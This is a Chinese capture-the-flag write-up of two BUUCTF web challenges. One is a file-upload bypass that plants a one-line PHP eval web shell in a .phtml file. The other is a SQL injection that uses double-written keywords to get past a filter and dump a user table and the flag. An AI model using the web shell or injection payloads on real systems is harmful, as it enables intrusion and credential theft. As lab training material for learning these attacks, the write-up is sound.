题目源:BUUCTF的web题

[ACTF2020 新生赛]Upload

原始信息

原始信息其实就一点,文件上传,并且限制上传为图片。上传后的图片会重命名,并且重命名的方式是: 随机字符串+文件后缀

题目的限制:黑名单+生成随机文件名

解题

尝试昨天的生僻php文件类型上传文件即可。

# 这是两个重要的数据包信息
Content-Disposition: form-data; name="upload_file"; filename="hack_1.phtml"
...
<script language="php">eval($_POST['x']);</script>

菜刀一把梭连入后台后,看下源码:

<?php
error_reporting(0);
//设置上传目录
define("UPLOAD_PATH", "./uplo4d");
$msg = "Upload Success!";
if (isset($_POST['submit'])) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_name = $_FILES['upload_file']['name'];
$ext = pathinfo($file_name,PATHINFO_EXTENSION);
// 啊这……妥妥的黑名单过滤啊!!!
if(in_array($ext, ['php', 'php3', 'php4', 'php5'])) {
exit('nonono~ Bad file!');
}

$new_file_name = md5($file_name).".".$ext;
$img_path = UPLOAD_PATH . '/' . $new_file_name;


if (move_uploaded_file($temp_file, $img_path)){
$is_upload = true;
} else {
$msg = 'Upload Failed!';
}
echo '<div style="color:#F00">'.$msg." Look here~ ".$img_path."</div>";
}
?>

源码就是上面那个了,实锤了黑名单过滤,某些博客随随便便说白名单过滤的也不知道怎么想的。

最后,老规矩,翻翻目录把flag拿出来就过关了。

[极客大挑战 2019]BabySQL

题目信息

题目信息和昨天的那道SQL差不多,给出的信息差不多是:

1.登录框+密码框
2.check.php
3.未知的SQL限制(目前是SQL双写替换为空)

解题

解题步骤就简单多了:
下面都是基于
?check.php?username=
后面的拼接,

测字段:
1' ororder bbyy 3%23&password=1 # 正常回显(正常报错)
1' ororder bbyy 4%23&password=1 # 错误回显(错误报错)

测回显点:
# 依然只是回显2和3
1' ununionion selselectect 1,2,3%23&password=1

爆库:
1' ununionion selselectect 1,version(),database()%23&password=1
# Hello 10.3.18-MariaDB!
# Your password is 'geek'

爆表:
?username=1' ununionion selselectect 1,group_concat(table_name),3 frfromom infoorrmation_schema.tables whwhereere table_schema=database()%23
&password=123
# Hello b4bsql,geekuser!
# Your password is '3'

爆列:
1' ununionion selselectect 1,group_concat(column_name),3 frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql' %23
&password=123
# Hello id,username,password!
# Your password is '3'

爆列值:
?username=1'ununionion selselectect 1,group_concat(id,'~',username,'~',passwoorrd,'----'),3 frfromom geek.b4bsql%23
&password=123
# Login Success!
#Hello 1~cl4y~i_want_to_play_2077----,
#2~sql~sql_injection_is_so_fun----,
#3~porn~do_you_know_pornhub----,
#4~git~github_is_different_from_pornhub----,
#5~Stop~you_found_flag_so_stop----,
#6~badguy~i_told_you_to_stop----,
#7~hacker~hack_by_cl4y----,
#8~flag~flag{5b345bda-842a-44b2-9690-0b159a56a4fb}----!
#Your password is '3'

收获

双写绕过过滤。